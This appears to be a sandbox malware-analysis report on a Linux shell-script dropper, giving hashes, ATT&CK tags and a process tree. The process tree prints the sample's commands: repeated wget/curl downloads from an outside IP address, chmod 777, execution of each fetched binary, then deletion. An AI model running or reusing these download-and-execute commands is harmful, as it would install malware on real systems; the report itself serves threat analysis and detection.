25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9

Analysis

max time kernel
27s
max time network
29s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
28/08/2026, 07:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
Size 1KB
Sample260828-hsvb6stxcv
SHA256 25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9
MD5 bb86c5614957830eb8589e28f90d7bd0
SHA1 addf202eeb1e7a4305cb6dbae7c477570758fd1f
SHA512 6a461b6edbe5c94fde007ea6fa37e7cc74c08dce082ef6027d99a785026b2e0425375fb3119d3b628112e9d933461127f2dde300bdf46e56f52c3b4488756e6c
TLSH
T1E03198AF08251A311013CEDD77A23448729EA5E72C9FD7D4D85D1EAEC28978CF262F49
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
779	chmod
835	chmod
842	chmod
736	chmod
748	chmod
800	chmod
823	chmod
856	chmod
874	chmod
893	chmod
755	chmod
762	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/4d92bf	737	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/820100	749	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/b5b154	756	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/edcc1f	763	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/3d5792	780	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/c639a2	801	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/2fd830	824	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/362bf1	836	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/c84371	843	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/a4c6cc	858	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/47c50c	875	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/8ba2d2	894	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/8ba2d2	curl
File opened for modification	/tmp/4d92bf	curl
File opened for modification	/tmp/edcc1f	curl
File opened for modification	/tmp/c84371	curl
File opened for modification	/tmp/47c50c	curl
File opened for modification	/tmp/820100	curl
File opened for modification	/tmp/b5b154	curl
File opened for modification	/tmp/3d5792	curl
File opened for modification	/tmp/c639a2	curl
File opened for modification	/tmp/2fd830	curl
File opened for modification	/tmp/362bf1	curl
File opened for modification	/tmp/a4c6cc	curl

/tmp/25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
1⤵
- Executes dropped EXE
PID:711
- /usr/bin/wget
  wget http://5.182.210.174/4d92bf
  2⤵
  PID:715
- /usr/bin/curl
  curl -O http://5.182.210.174/4d92bf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/chmod
  chmod 777 4d92bf
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/4d92bf
  ./4d92bf bc
  2⤵
  PID:737
- /bin/rm
  rm -rf 4d92bf
  2⤵
  PID:740
- /bin/rm
  rm -rf 4d92bf.1
  2⤵
  PID:742
- /usr/bin/wget
  wget http://5.182.210.174/820100
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://5.182.210.174/820100
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/chmod
  chmod 777 820100
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/820100
  ./820100 bc
  2⤵
  PID:749
- /bin/rm
  rm -rf 820100
  2⤵
  PID:751
- /bin/rm
  rm -rf 820100.1
  2⤵
  PID:752
- /usr/bin/wget
  wget http://5.182.210.174/b5b154
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://5.182.210.174/b5b154
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/chmod
  chmod 777 b5b154
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/b5b154
  ./b5b154 bc
  2⤵
  PID:756
- /bin/rm
  rm -rf b5b154
  2⤵
  PID:758
- /bin/rm
  rm -rf b5b154.1
  2⤵
  PID:759
- /usr/bin/wget
  wget http://5.182.210.174/edcc1f
  2⤵
  PID:760
- /usr/bin/curl
  curl -O http://5.182.210.174/edcc1f
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/chmod
  chmod 777 edcc1f
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/edcc1f
  ./edcc1f bc
  2⤵
  PID:763
- /bin/rm
  rm -rf edcc1f
  2⤵
  PID:765
- /bin/rm
  rm -rf edcc1f.1
  2⤵
  PID:766
- /usr/bin/wget
  wget http://5.182.210.174/3d5792
  2⤵
  PID:767
- /usr/bin/curl
  curl -O http://5.182.210.174/3d5792
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:772
- /bin/chmod
  chmod 777 3d5792
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/3d5792
  ./3d5792 bc
  2⤵
  PID:780
- /bin/rm
  rm -rf 3d5792
  2⤵
  PID:783
- /bin/rm
  rm -rf 3d5792.1
  2⤵
  PID:785
- /usr/bin/wget
  wget http://5.182.210.174/c639a2
  2⤵
  PID:786
- /usr/bin/curl
  curl -O http://5.182.210.174/c639a2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:791
- /bin/chmod
  chmod 777 c639a2
  2⤵
  - File and Directory Permissions Modification
  PID:800
- /tmp/c639a2
  ./c639a2 bc
  2⤵
  PID:801
- /bin/rm
  rm -rf c639a2
  2⤵
  PID:804
- /bin/rm
  rm -rf c639a2.1
  2⤵
  PID:805
- /usr/bin/wget
  wget http://5.182.210.174/2fd830
  2⤵
  PID:807
- /usr/bin/curl
  curl -O http://5.182.210.174/2fd830
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:812
- /bin/chmod
  chmod 777 2fd830
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/2fd830
  ./2fd830 bc
  2⤵
  PID:824
- /bin/rm
  rm -rf 2fd830
  2⤵
  PID:827
- /bin/rm
  rm -rf 2fd830.1
  2⤵
  PID:829
- /usr/bin/wget
  wget http://5.182.210.174/362bf1
  2⤵
  PID:830
- /usr/bin/curl
  curl -O http://5.182.210.174/362bf1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:834
- /bin/chmod
  chmod 777 362bf1
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/362bf1
  ./362bf1 bc
  2⤵
  PID:836
- /bin/rm
  rm -rf 362bf1
  2⤵
  PID:838
- /bin/rm
  rm -rf 362bf1.1
  2⤵
  PID:839
- /usr/bin/wget
  wget http://5.182.210.174/c84371
  2⤵
  PID:840
- /usr/bin/curl
  curl -O http://5.182.210.174/c84371
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:841
- /bin/chmod
  chmod 777 c84371
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/c84371
  ./c84371 bc
  2⤵
  PID:843
- /bin/rm
  rm -rf c84371
  2⤵
  PID:845
- /bin/rm
  rm -rf c84371.1
  2⤵
  PID:846
- /usr/bin/wget
  wget http://5.182.210.174/a4c6cc
  2⤵
  PID:847
- /usr/bin/curl
  curl -O http://5.182.210.174/a4c6cc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:848
- /bin/chmod
  chmod 777 a4c6cc
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/a4c6cc
  ./a4c6cc bc
  2⤵
  PID:858
- /bin/rm
  rm -rf a4c6cc
  2⤵
  PID:860
- /bin/rm
  rm -rf a4c6cc.1
  2⤵
  PID:861
- /usr/bin/wget
  wget http://5.182.210.174/47c50c
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://5.182.210.174/47c50c
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:867
- /bin/chmod
  chmod 777 47c50c
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/47c50c
  ./47c50c bc
  2⤵
  PID:875
- /bin/rm
  rm -rf 47c50c
  2⤵
  PID:879
- /bin/rm
  rm -rf 47c50c.1
  2⤵
  PID:880
- /usr/bin/wget
  wget http://5.182.210.174/8ba2d2
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://5.182.210.174/8ba2d2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/chmod
  chmod 777 8ba2d2
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/8ba2d2
  ./8ba2d2 bc
  2⤵
  PID:894
- /bin/rm
  rm -rf 8ba2d2
  2⤵
  PID:896
- /bin/rm
  rm -rf 8ba2d2.1
  2⤵
  PID:897

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

4d92bf

Path /tmp/4d92bf
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download